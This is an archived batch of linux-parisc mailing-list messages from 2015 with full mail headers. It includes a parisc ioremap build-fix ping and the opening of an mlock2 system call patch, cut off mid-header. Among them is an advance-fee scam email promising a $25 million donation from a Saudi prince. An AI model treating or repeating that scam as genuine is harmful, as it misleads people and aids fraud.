Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZT784-0002Tv-Hd
	for glpp-linux-parisc@plane.gmane.org; Sat, 22 Aug 2015 13:38:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753402AbbHVLiZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Aug 2015 07:38:25 -0400
Original-Received: from mail-lb0-f196.google.com ([209.85.217.196]:34804 "EHLO
	mail-lb0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753509AbbHVLiW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Aug 2015 07:38:22 -0400
Original-Received: by lbbnb10 with SMTP id nb10so4490848lbb.1
        for <linux-parisc@vger.kernel.org>; Sat, 22 Aug 2015 04:38:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:reply-to:date:message-id:subject:from:to:content-type;
        bh=NEWSECAk7JFuXTVbAc4hvn+Org29b2GyL/+GLAonkXs=;
        b=WbdTkqt91CbC1mJevaYnYXwX4v+mGxt/q1bYE6ou0z5q4JEOZ6GVGVqVxY0YTNziQn
         luj6rKOh0dGwn9A+6r6kvUrgIejN6L353MoYJKNSYLYPWBR7PJ513NaoajYzvUB1ezrP
         aHIIFp9IgcUCtvZZrxqvpmlJCSGtx/55JpewGsqcHugjrVs54tDSqSBtt23TS7M/kEop
         eGoQzVvcCGr+Qk43lHjjiWQvjtatmBAuskNeY2pQJeZRCbv0pinFxgnUdZKQDEs60fMY
         7ep0/CXCcBXVp8xVxvC+lsNYqqLlCzPgzhzX1BjFPJZOP7M+uJKTdkxpRd9L+LRCtfFp
         5lXQ==
X-Received: by 10.152.28.193 with SMTP id d1mr12167112lah.72.1440243500541;
 Sat, 22 Aug 2015 04:38:20 -0700 (PDT)
Original-Received: by 10.114.24.129 with HTTP; Sat, 22 Aug 2015 04:38:20 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25984
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25984>

let us talk
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <linux@roeck-us.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH -next] parisc: Define ioremap_uc and ioremap_wc
Date: Sat, 22 Aug 2015 12:35:50 -0700
Lines: 47
Approved: news@gmane.org
Message-ID: <20150822193549.GA27623@roeck-us.net>
References: <1438396486-20937-1-git-send-email-linux@roeck-us.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1440272174 5961 80.91.229.3 (22 Aug 2015 19:36:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Aug 2015 19:36:14 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	"Luis R. Rodriguez" <mcgrof@suse.com>,
	Paul Gortmaker <paul.gortmaker@windriver.com>
To: "James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 22 21:36:04 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZTEaB-0008Mn-QB
	for glpp-linux-parisc@plane.gmane.org; Sat, 22 Aug 2015 21:36:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753416AbbHVTgB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 22 Aug 2015 15:36:01 -0400
Original-Received: from bh-25.webhostbox.net ([208.91.199.152]:42318 "EHLO
	bh-25.webhostbox.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753403AbbHVTgB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 22 Aug 2015 15:36:01 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=roeck-us.net; s=default;
	h=In-Reply-To:Content-Type:MIME-Version:References:Message-ID:Subject:Cc:To:From:Date; bh=SrmubqfPnTnVaGstvtJDrNNryNBd9sLFOUXi9sT3LmA=;
	b=FOIEbUFvP/gtxg476wrBdlkm/froZh4EMPaQRVyEHgfYl7/j8MX7h8vA0BWuG/MWI9/d8aAxsUrWqTpRrfs9YAp9e5PoMuiCA56wd0/pwOqu2x7ieQCwb4rdSdlhJkpdTApnSUstj+XFGGiSQ+5FCGhQqjs6YOx3XyoJb/clA4Y=;
Original-Received: from 108-223-40-66.lightspeed.sntcca.sbcglobal.net ([108.223.40.66]:55700 helo=localhost)
	by bh-25.webhostbox.net with esmtpa (Exim 4.85)
	(envelope-from <linux@roeck-us.net>)
	id 1ZTEa4-000e3P-AU; Sat, 22 Aug 2015 19:35:56 +0000
Content-Disposition: inline
In-Reply-To: <1438396486-20937-1-git-send-email-linux@roeck-us.net>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Authenticated_sender: guenter@roeck-us.net
X-OutGoing-Spam-Status: No, score=-1.0
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - bh-25.webhostbox.net
X-AntiAbuse: Original Domain - vger.kernel.org
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - roeck-us.net
X-Get-Message-Sender-Via: bh-25.webhostbox.net: authenticated_id: guenter@roeck-us.net
X-Source: 
X-Source-Args: 
X-Source-Dir: 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25985 gmane.linux.kernel:2024546
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25985>

ping ... the problem fixed with this patch still affects next-20150821.

Guenter

On Fri, Jul 31, 2015 at 07:34:46PM -0700, Guenter Roeck wrote:
> Commit 3cc2dac5be3f ("drivers/video/fbdev/atyfb: Replace MTRR UC hole
> with strong UC") introduces calls to ioremap_wc and ioremap_uc. This
> causes build failures with parisc:allmodconfig. Map the missing
> functions to ioremap_nocache.
> 
> Fixes: 3cc2dac5be3f ("drivers/video/fbdev/atyfb:
> 	Replace MTRR UC hole with strong UC")
> Cc: Luis R. Rodriguez <mcgrof@suse.com>
> Cc: Paul Gortmaker <paul.gortmaker@windriver.com>
> Signed-off-by: Guenter Roeck <linux@roeck-us.net>
> ---
>  arch/parisc/include/asm/io.h | 2 ++
>  1 file changed, 2 insertions(+)
> 
> diff --git a/arch/parisc/include/asm/io.h b/arch/parisc/include/asm/io.h
> index 8cd0abf28ffb..1a16f1d1075f 100644
> --- a/arch/parisc/include/asm/io.h
> +++ b/arch/parisc/include/asm/io.h
> @@ -137,6 +137,8 @@ static inline void __iomem * ioremap(unsigned long offset, unsigned long size)
>  	return __ioremap(offset, size, _PAGE_NO_CACHE);
>  }
>  #define ioremap_nocache(off, sz)	ioremap((off), (sz))
> +#define ioremap_wc			ioremap_nocache
> +#define ioremap_uc			ioremap_nocache
>  
>  extern void iounmap(const volatile void __iomem *addr);
>  
> -- 
> 2.1.4
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/
> 
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Prince@vger.kernel.org, Alwaleed@vger.kernel.org,
	Bin@vger.kernel.org
Newsgroups: gmane.linux.ports.parisc
Subject: Good News !! Please Respond Swiftly
Date: Tue, 25 Aug 2015 14:36:29 +0300
Lines: 11
Approved: news@gmane.org
Message-ID: <e5d09163-62f3-484e-a3a7-bdce41d50910@FSU-EXCH-NWR04.fsu.edu>
Reply-To: <ahmadsadiqafn@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1440502799 10793 80.91.229.3 (25 Aug 2015 11:39:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 25 Aug 2015 11:39:59 +0000 (UTC)
To: Recipients@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 25 13:39:48 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZUCZn-0006rq-3u
	for glpp-linux-parisc@plane.gmane.org; Tue, 25 Aug 2015 13:39:39 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754657AbbHYLji (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 25 Aug 2015 07:39:38 -0400
Original-Received: from mail-bn1hn0250.outbound.protection.outlook.com ([157.56.110.250]:28112
	"EHLO na01-bn1-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1754548AbbHYLjh convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 25 Aug 2015 07:39:37 -0400
Original-Received: from CY1PR0201CA0026.namprd02.prod.outlook.com (10.163.30.164) by
 BN3PR02MB1128.namprd02.prod.outlook.com (10.162.168.146) with Microsoft SMTP
 Server (TLS) id 15.1.243.23; Tue, 25 Aug 2015 11:39:35 +0000
Original-Received: from BN1AFFO11FD055.protection.gbl (2a01:111:f400:7c10::178) by
 CY1PR0201CA0026.outlook.office365.com (2a01:111:e400:58b9::36) with Microsoft
 SMTP Server (TLS) id 15.1.243.23 via Frontend Transport; Tue, 25 Aug 2015
 11:39:36 +0000
Authentication-Results: spf=none (sender IP is 146.201.58.211)
 smtp.helo=fsu-exch-nwr04.fsu.edu; iq.pl; dkim=none (message not signed)
 header.d=none;
Received-SPF: None (protection.outlook.com: fsu-exch-nwr04.fsu.edu does not
 designate permitted sender hosts)
Original-Received: from fsu-exch-nwr04.fsu.edu (146.201.58.211) by
 BN1AFFO11FD055.mail.protection.outlook.com (10.58.53.70) with Microsoft SMTP
 Server (TLS) id 15.1.249.14 via Frontend Transport; Tue, 25 Aug 2015 11:39:34
 +0000
Original-Received: from [192.168.0.101] (154.122.118.103) by fsu-exch-nwr04.fsu.edu
 (10.146.58.168) with Microsoft SMTP Server (TLS) id 14.3.235.1; Tue, 25 Aug
 2015 07:38:46 -0400
Content-Description: Mail message body
X-Antivirus: avast! (VPS 150825-0, 08/25/2015), Outbound message
X-Antivirus-Status: Clean
X-Originating-IP: [154.122.118.103]
X-EOPAttributedMessage: 0
X-Matching-Connectors: 130849763750741714;(974605de-b42d-411a-3448-08d12e412d02,24ac9bd0-d052-4624-b856-08d183bcd924,338318b9-ba1c-43c0-8ef6-08d183bcac80);()
X-Microsoft-Exchange-Diagnostics: 1;BN1AFFO11FD055;1:UjTNsb/QbfXLb5tkCYg8LkQRvC4ONyEmcrDCBqkEpfcFy3Vfe1P894Sc8/YGsBpVOvL8LcLK7rudvKB05QvfltDDw6C2fSrzCerHLHnYFPtdiRLtfYjOhmEsRF6gR4qcahZgqohYD2rqLpFaptK7ZBgoSIakcMVFDxWFdkRynnlTS+HERtSeGzQ9lTQSjUOzdTGRryArKwYJ47pRF2XattBjN/nSCMEYqGTDUzyXjmWqrCHzkut7Jxrvoo0/jXYx5QmqBzteqfGbfEyKC8iDIWSGhMbG7JW/I5C/H1mu5dvVOMDucG1GVbjnBYr/TaBkvdzZaEW4oJvgbfjVr09xFl+XzLWZ1WiN88s/vqRUVVUbQxJMT1lGLOLOomwfPVJf8Qu7WbvaGGo3dAMLCGM1aHGArmIKCTI1jwUZ/HM7Xv8C5SU5HHKDiUX2wW0V9x2vMD/fwYc1OqE7EEOHqrTkDBegXgv2pyl8bHeuoFc61nXsJazPr4K/NUChN1jL3WafJgbh0KCpwLdTmZb4tW1clRt7A6nlLiqbzEFRU6vXF9qHT4nl/uU9A0kGkPT97RAU
X-Forefront-Antispam-Report: CIP:146.201.58.211;CTRY:US;IPV:CAL;IPV:NLI;EFV:NLI;SFV:SPM;SFS:(10009020)(6009001)(2970300002)(428002)(3050300001)(189002)(199003)(250100001)(960300001)(54356999)(31696002)(5005630100001)(5001860100001)(15975445007)(109986003)(107886002)(33646002)(558084003)(4001600100001)(101416001)(229853001)(110136002)(53256004)(31686004)(78352002)(23756003)(77156002)(5004730100002)(117156001)(5007970100001)(104016003)(46552002)(42382002)(47776003)(62966003)(19580395003)(105586002)(4001540100001)(561924002)(6806004)(26826002)(53806999)(5001830100001)(87936001)(43066003)(50466002)(50986999)(46102003)(64706001)(77096005)(189998001)(4001450100002)(106466001)(66066001)(32000200001);DIR:OUT;SFP:1501;SCL:5;SRVR:BN3PR02MB1128;H:fsu-exch-nwr04.fsu.edu;FPR:;SPF:None;PTR:fsu-exch-nwr0
 4.fsu.edu;MX:0;A:0;LANG:en;
X-Microsoft-Exchange-Diagnostics: 1;BN3PR02MB1128;2:55uVUsHrIhcN2a0RWOVTvVNpBfURxkJ1ewL4yP6X+Hj2sFm5pMNPy+F98EOzk/EN/+/Daq1l/z1gezmzfAwbGaeMl6PXtakRHBhL78ibrb8oARhOJDIAkxRL7ShjGLmsOOd0ZaU2zFmp7vXpy2EJIbt1mgkQIzHbvxWcVogW9x0=;3:ld+ebR3paCc6yqWmNgoV0Rqqc6NGKG0iK6pbWBrRgomAeNaptSCJRhyKYjYDpC8snMx9fvjJ5CrPBFvbhzDYtWkrf1QYhO66PWaeLHe6cmZw4/zPCqLAsd7TYo44eAJ7aU+IRxNg2EdCNvpo6c9lIAD1uUANFxNrsgQhr3PtUEo05uoCj8WaiXx2LuDzyq6ONc9gLWpc7t1UpahmMMSD318XUSZRmqYnM07EAy64DVIyy8CjxL8Ud3GHMIVQtDU/;25:Yy6OkkvBf1vVAKN1KJQmS9ZekRnvUA611EyjWmJ81SDreqv6DxpYW3CVUvITdE2QiK/PllH/a/6jBPnGPxY6YNq/1oVzu2jPjX75wsozgiIRRFmml590iStj+cQyzB7EgxvcS+/7oIv5eVebS/y0dKEBlUDrSNFI8H7Bwapuyb212MhPOQ5W0zNmUy59HOzpaOalXusHnx8u3aQR0DyT9Y/ON762h6qSQGZsNIXSgChLbnkaoYwRgMolL6bwELIW6DPY7kM4XsgpcsdWUCSejw==
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:BN3PR02MB1128;
X-Microsoft-Antispam-PRVS: <BN3PR02MB1128FAF32E22768E35E47205B8610@BN3PR02MB1128.namprd02.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(601004)(8121501046)(5005006)(3002001);SRVR:BN3PR02MB1128;BCL:0;PCL:0;RULEID:(400006);SRVR:BN3PR02MB1128;
X-Microsoft-Exchange-Diagnostics: 1;BN3PR02MB1128;4:L3Ps3en9c1eGmFdESD6egkLO+j3Ty9KiaS9EhKEw3mE0fcBTXoPaeCkNZ4yKDMl73V7ALYnlZWE+dbDZONunhusb4ZADlc5pBT1zGMVU7w5FdXAzJIYyXQItZ8+cqfe6LHuwX/RHmUGBR1StRN4p4UfL5B47te+QCg0Upz3RwMyE0mDG82iTL1xMqSMf1VhO325Yxk9+OuuxwegZmW942nH/IvuGvYdK2DFAn9uUL98gIXkil4SkCzEIiAtSnHlGhgfUNjbsIGvitiiCXgu9qnlZzj11r2yqGJgWVywVUKsgKmztRjcvSYRy5N9yDxMX
X-Forefront-PRVS: 06793E740F
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1;BN3PR02MB1128;23:7EsDAmxoZlT1GjIBcti4ugZlweOGpJdTEp7bgHX?=
 =?iso-8859-1?Q?x4xcQdVUOFQLRX5SyrP2Vqo68FfNT+OUsPwOCCx3mFagN0ifuBsh/k4Qy2?=
 =?iso-8859-1?Q?W6iBSgG7huqz5Vma7R8Qu1gxaqU0YRwgZg+VVHPf2iomiShTR7zoWanY7z?=
 =?iso-8859-1?Q?/zgkj6eV4Bb05H6+8lu46nY2tQM8+xuv6zzAI3DuFirztOO6rd0qhL9HL3?=
 =?iso-8859-1?Q?2UAQCaVQ7jZk2ggOUdsYj6gGwdgM7rlJ1I+Y7++adY29c7/nbd/MfKeKZz?=
 =?iso-8859-1?Q?Q45uVzmmCyH8f8ehfN73zWsjK3jB9pGVSk5kPJw4LhEi36nCCbqjwvkq3U?=
 =?iso-8859-1?Q?nUjdE0QMotPwrgxtSyjzwkz8DCLq74M/jngKy/BIzLEM+DsIEvF1DWU/mu?=
 =?iso-8859-1?Q?QjJGvzY6Is0j7CLsmkwjmkcYH56K9vN5+SGgx5S9ECk4s7g4jDjNRGxVfr?=
 =?iso-8859-1?Q?3va4KhcW/w3FJh90OypJ7xNCv/IucP6elg5/VfKeqHyIFUrCVuqdybIZpf?=
 =?iso-8859-1?Q?AfryCcTLFbzig+wWGoBk7J4xlwCZPke0MEeip4tp416S+DeLN9Hdt8l+9z?=
 =?iso-8859-1?Q?pHcemoV+Bq0Ejch36DAnSB7r6/DE5eE0Zf/dO3kJPlY9Wo8DNBCHWxWJsZ?=
 =?iso-8859-1?Q?8Doc 
X-Microsoft-Exchange-Diagnostics: 1;BN3PR02MB1128;5:/PqkCxNWchHcNYIH9eAg2VUVY23+W0kPqka/lmKeQvREQ/DcmMTmKkoFytKD/UAPSCw/0cA/n6LPVq+M5hGJ2CEuARTh4U5cCvHKb65y2azOSosGLRfbniycWVt15/cPw3MVduCrNMAsrvOYeGw4HhRKJxkpeyCUY0JKd9HUblE=;24:sOKTGLIVPInB8VX9wNOOhPC7gyzQLyFngSiH+eC57oMijVpA/8D33bbuqLzYzeaV5L6VGjbcy+gv+FgsS1c5bA==
SpamDiagnosticOutput: 1:22
SpamDiagnosticMetadata: 00000000%2D0000%2D0000%2D0000%2D000000000000
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 25 Aug 2015 11:39:34.4189
 (UTC)
X-MS-Exchange-CrossTenant-Id: 5afe0b00-7697-4969-b663-5eab37d5f47e
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=5afe0b00-7697-4969-b663-5eab37d5f47e;Ip=[146.201.58.211];Helo=[fsu-exch-nwr04.fsu.edu]
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BN3PR02MB1128
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25986
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25986>

SAUDI ARABIA PRINCE ALWALEED BIN TALAL FINANCIAL DONATION OF $25,000,000 USD TO YOU

---
This email has been checked for viruses by Avast antivirus software.
https://www.avast.com/antivirus

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch
Subject: [PATCH v8 2/6] mm: mlock: Add new mlock system call
Date: Wed, 26 Aug 2015 14:24:21 -0400
Lines: 130
Approved: news@gmane.org
Message-ID: <1440613465-30393-3-git-send-email-emunson@akamai.com>
References: <1440613465-30393-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1440613492 8231 80.91.229.3 (26 Aug 2015 18:24:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Aug 2015 18:24:52 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Michal Hocko <mhocko@suse.cz>,
	Vlastimil Babka <vbabka@suse.cz>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Stephen Rothwell <sfr@canb.auug.org.au>,
	Guenter Roeck <linux@roeck-us.net>,
	linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-cris-kernel@axis.com,
	linux-ia64@vger.kernel.org,
	linux-m68k@lists.linux-m68k.org,
	linux-am33-list@redhat.com,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	linux-mm@kvack.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: owner-linux-mm@kvack.org Wed Aug 26 20:24:40 2015
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1ZUfNF-0002Gd-Gs
	for glkm-linux-mm-2@m.gmane.org; Wed, 26 Aug 2015 20:24:38 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id CEA626B0255; Wed, 26 Aug 2015 14:24:32 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id BFAB09003C7; Wed, 26 Aug 2015 14:24:32 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
X-Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id A75006B0257; Wed, 26 Aug 2015 14:24:32 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
X-Delivered-To: linux-mm@kvack.org
Original-Received: from mail-qk0-f172.google.com (mail-qk0-f172.google.com [209.85.220.172])
	by kanga.kvack.org (Postfix) with ESMTP id 793B76B0255
	for <linux-mm@kvack.org>; Wed, 26 Aug 2015 14:24:32 -0400 (EDT)
Original-Received: by qkch123 with SMTP id h123so118836935qkc.0
        for <linux-mm@kvack.org>; Wed, 26 Aug 2015 11:24:32 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=jCIXSZfKYHO1f19PAhp90DNOolw6ipvUOa6UjFbXLZw=;
        b=gM5gEQr0fLxUb6v2t6litKMfGA8EqKfF0kyS2aip4hBoumJVLJd2AI9jeKzFKhcsTk
         EUH4hZeBxtxhZL5bXm0txJlB7UeYpDx6Y/6yvV8GxKGmVd9FVhm6DWbmi7Ksi3IUIozj
         KkLISWG5ct9zeFCFDXmrnqlUxTTcjnjlCWsfYoWR3SsHvjXB6HMX5QbJxeyN6wu6f2xR
         qCbmBaA9vo1k39H8/OX1JojXKZ1cHVowHGrIBZBQ4zuzmJ4GHcVwsV5XCdeCi1ZRBlou
         KFeKQsxrr5VBTgB2X5TzQTfOm2c0R+bxAw6dY7K6UtqruCRo6Lwe/l5z+ZwhsWUqwXUp
         q4+Q==
X-Gm-Message-State: ALoCoQnaCTkLw3KzGPqOXAfmtj3cx04P9nuTKEmd4MXFOl46RV7lXys8CsJQewETNcZ9L5JBS1E8g2Ado1lWGuKwGdpHY193KUpIjkGzuIAei4zCvByshmgUTutB5EH4Ri+ca/xIgnjL7NZiX5odZ30Oupbn47J38CP0A9um75Fsk1PEaonC1PICVoiVd+YIl+XRAYtiGON4
X-Received: by 10.55.15.30 with SMTP id z30mr61744332qkg.47.1440613472305;
        Wed, 26 Aug 2015 11:24:32 -0700 (PDT)
X-Received: by 10.55.15.30 with SMTP id z30mr61743748qkg.47.1440613468612;
        Wed, 26 Aug 2015 11:24:28 -0700 (PDT)
Original-Received: from prod-mail-xrelay05.akamai.com ([23.79.238.179])
        by mx.google.com with ESMTP id e69si4711478qhc.112.2015.08.26.11.24.28
        for <linux-mm@kvack.org>;
        Wed, 26 Aug 2015 11:24:28 -0700 (PDT)
Received-SPF: pass (google.com: domain of emunson@akamai.com designates 23.79.238.179 as permitted sender) client-ip=23.79.238.179;
Authentication-Results: mx.google.com;
       spf=pass (google.com: domain of emunson@akamai.com designates 23.79.238.179 as permitted sender) smtp.mailfrom=emunson@akamai.com;
       dkim=pass (test mode) header.i=@akamai.com;
       dmarc=pass (p=NONE dis=NONE) header.from=akamai.com
Original-Received: from prod-mail-xrelay05.akamai.com (localhost.localdomain [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 22B7147CDE;
	Wed, 26 Aug 2015 18:24:28 +0000 (GMT)
Original-Received: from prod-mail-relay11.akamai.com (prod-mail-relay11.akamai.com [172.27.118.250])
	by prod-mail-xrelay05.akamai.com (Postfix) with ESMTP id 0859047CBC;
	Wed, 26 Aug 2015 18:24:28 +0000 (GMT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=akamai.com; s=a1;
	t=1440613468; bh=owreH8DCaTxmlvtNmOZHySLPiEMtDOfWY41S02LuLpA=;
	h=From:To:Cc:Subject:Date:In-Reply-To:References:From;
	b=dsteukobF6yBhI56yMP9QIuzOp9ITworbgr6+pInTh0Wv6ZYQSQiOoe6hh2nEKfyh
	 xiKHlYr23UzQxg7Nv9+1LUUurNG0rKJK3+B9KMZENJONxu4EHItFPfefiB+H7U+F5U
	 D9qGRf5/bkRG4yuElawVq+9FXDrd9XhpiuRJxy44=
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.12.119])
	by prod-mail-relay11.akamai.com (Postfix) with ESMTP id E77F0203F;
	Wed, 26 Aug 2015 18:24:27 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1440613465-30393-1-git-send-email-emunson@akamai.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:137732 gmane.linux.ports.alpha:3361 gmane.linux.kernel:2027281 gmane.linux.ports.arm.kernel:436520 gmane.linux.ports.ia64:25793 gmane.linux.ports.parisc:25987 gmane.linux.ports.ppc64.devel:117369 gmane.linux.ports.sh.devel:48315 gmane.linux.ports.sparc:21525 gmane.linux.kernel.api:13685 gmane.linux.kernel.cross-arch:28967
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/137732>

With the refactored mlock code, introduce a new system call for mlock.
The new call will allow the user to specify what lock states are being
added.  mlock2 is trivial at the moment, but a follow on patch will add
a new mlock state making it useful.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Acked-by: Vlastimil Babka <vbabka@suse.cz>
Acked-by: Michal Hocko <mhocko@suse.com>
Cc: Michal Hocko <mhocko@suse.cz>
Cc: Vlastimil Babka <vbabka@suse.cz>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Catalin Marinas <catalin.marinas@arm.com>
Cc: Stephen Rothwell <sfr@canb.auug.org.au>
Cc: Guenter Roeck <linux@roeck-us.net>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: adi-buildroot-devel@lists.sourceforge.net
Cc: linux-cris-kernel@axis.com
Cc: linux-ia64@vger.kernel.org
Cc: linux-m68k@lists.linux-m68k.org
Cc: linux-am33-list@redhat.com
